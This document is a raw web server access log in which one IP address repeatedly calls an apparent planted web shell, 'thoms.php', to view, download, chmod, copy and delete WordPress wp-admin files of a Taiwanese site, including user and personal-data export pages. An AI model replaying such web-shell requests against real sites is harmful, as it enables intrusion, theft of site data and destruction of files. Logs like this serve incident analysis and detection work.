45.135.193.11 - - [11/Sep/2026:23:40:01 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fload-scripts.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fload-scripts.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:01 -0400] "GET /bestjudy.com.tw/wp-admin/menu-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:01 -0400] "GET /thoms.php?dl=export-personal-data.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?dl=export-personal-data.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:01 -0400] "GET /thoms.php?chmod=ms-delete-site.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=ms-delete-site.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:01 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=admin-footer.php HTTP/1.1" 200 13058 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=admin-footer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:01 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=nav-menus.php HTTP/1.1" 200 26262 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=nav-menus.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:01 -0400] "GET /thoms.php?del=plugins.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28926 "http://163.245.207.76:443/thoms.php?del=plugins.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:01 -0400] "GET /thoms.php?dl=ms-delete-site.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?dl=ms-delete-site.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:02 -0400] "GET /bestjudy.com.tw/wp-admin/term.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:02 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Foptions-discussion.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11429 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Foptions-discussion.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:02 -0400] "GET /thoms.php?chmod=options-head.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=options-head.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:02 -0400] "GET /thoms.php?chmod=theme-editor.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=theme-editor.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:02 -0400] "GET /thoms.php?del=async-upload.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?del=async-upload.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:02 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Foptions-connectors.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Foptions-connectors.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:02 -0400] "GET /thoms.php?chmod=user-edit.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=user-edit.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:02 -0400] "GET /thoms.php?dl=menu-header.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?dl=menu-header.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:02 -0400] "GET /thoms.php?del=theme-editor.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?del=theme-editor.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:03 -0400] "GET /thoms.php?del=custom-header.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?del=custom-header.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:03 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=ms-options.php HTTP/1.1" 200 12028 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=ms-options.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:03 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=options-reading.php HTTP/1.1" 200 15549 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=options-reading.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:03 -0400] "GET /thoms.php?del=link-parse-opml.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28923 "http://163.245.207.76:443/thoms.php?del=link-parse-opml.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:03 -0400] "GET /bestjudy.com.tw/wp-admin/comment.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:03 -0400] "GET /bestjudy.com.tw/wp-admin/freedoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:03 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fadmin-footer.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fadmin-footer.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:03 -0400] "GET /thoms.php?dl=options-connectors.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28927 "http://163.245.207.76:443/thoms.php?dl=options-connectors.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:03 -0400] "GET /thoms.php?chmod=edit.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=edit.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:04 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=load-scripts.php HTTP/1.1" 200 12966 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=load-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:04 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=network.php HTTP/1.1" 200 14283 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:04 -0400] "GET /thoms.php?chmod=plugin-install.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=plugin-install.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:04 -0400] "GET /thoms.php?dl=load-scripts.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?dl=load-scripts.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:04 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=privacy.php HTTP/1.1" 200 13009 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=privacy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:04 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fedit-form-comment.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fedit-form-comment.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:04 -0400] "GET /thoms.php?del=profile.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?del=profile.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:04 -0400] "GET /thoms.php?dl=users.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?dl=users.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:04 -0400] "GET /bestjudy.com.tw/wp-admin/options.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:04 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=import.php HTTP/1.1" 200 15054 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=import.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:05 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Ftheme-install.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Ftheme-install.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:04 -0400] "GET /thoms.php?dl=media-new.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28952 "http://163.245.207.76:443/thoms.php?dl=media-new.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:05 -0400] "GET /bestjudy.com.tw/wp-admin/widgets.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:05 -0400] "GET /thoms.php?del=import.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?del=import.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:05 -0400] "GET /thoms.php?del=load-scripts.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?del=load-scripts.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:05 -0400] "GET /thoms.php?dl=media.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?dl=media.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:05 -0400] "GET /thoms.php?del=menu-header.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?del=menu-header.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:05 -0400] "GET /bestjudy.com.tw/wp-admin/options-head.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:05 -0400] "GET /thoms.php?dl=menu.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28926 "http://163.245.207.76:443/thoms.php?dl=menu.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:05 -0400] "GET /thoms.php?chmod=ms-edit.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=ms-edit.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fimages&p= HTTP/1.1" 200 12406 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fimages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:06 -0400] "GET /thoms.php?chmod=user-new.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=user-new.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:06 -0400] "GET /thoms.php?chmod=erase-personal-data.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=erase-personal-data.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:06 -0400] "GET /thoms.php?chmod=freedoms.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=freedoms.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:06 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=load-styles.php HTTP/1.1" 200 13329 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=load-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:06 -0400] "GET /thoms.php?del=ms-upgrade-network.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28928 "http://163.245.207.76:443/thoms.php?del=ms-upgrade-network.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:06 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=post.php HTTP/1.1" 200 15641 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fsite-health.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fsite-health.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:06 -0400] "GET /thoms.php?del=my-sites.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?del=my-sites.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:06 -0400] "GET /thoms.php?dl=options-media.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28926 "http://163.245.207.76:443/thoms.php?dl=options-media.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:07 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=admin-functions.php HTTP/1.1" 200 12157 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=admin-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:07 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin%2Fjs HTTP/1.1" 200 28094 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin%2Fjs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:07 -0400] "GET /thoms.php?dl=admin-post.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?dl=admin-post.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:07 -0400] "GET /thoms.php?dl=term.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?dl=term.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:07 -0400] "GET /bestjudy.com.tw/wp-admin/widgets-form-blocks.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:07 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=ms-admin.php HTTP/1.1" 200 12004 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=ms-admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:07 -0400] "GET /bestjudy.com.tw/wp-admin/export.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:07 -0400] "GET /bestjudy.com.tw/wp-admin/update.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:07 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin%2Fimages HTTP/1.1" 200 27230 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin%2Fimages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:07 -0400] "GET /thoms.php?del=site-editor.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?del=site-editor.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:08 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=upgrade-functions.php HTTP/1.1" 200 12109 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=upgrade-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:08 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=plugin-install.php HTTP/1.1" 200 14905 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=plugin-install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:08 -0400] "GET /thoms.php?dl=update.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28926 "http://163.245.207.76:443/thoms.php?dl=update.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:08 -0400] "GET /thoms.php?del=upgrade.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?del=upgrade.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:08 -0400] "GET /thoms.php?del=widgets-form-blocks.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?del=widgets-form-blocks.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:08 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=edit-tag-form.php HTTP/1.1" 200 15340 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=edit-tag-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
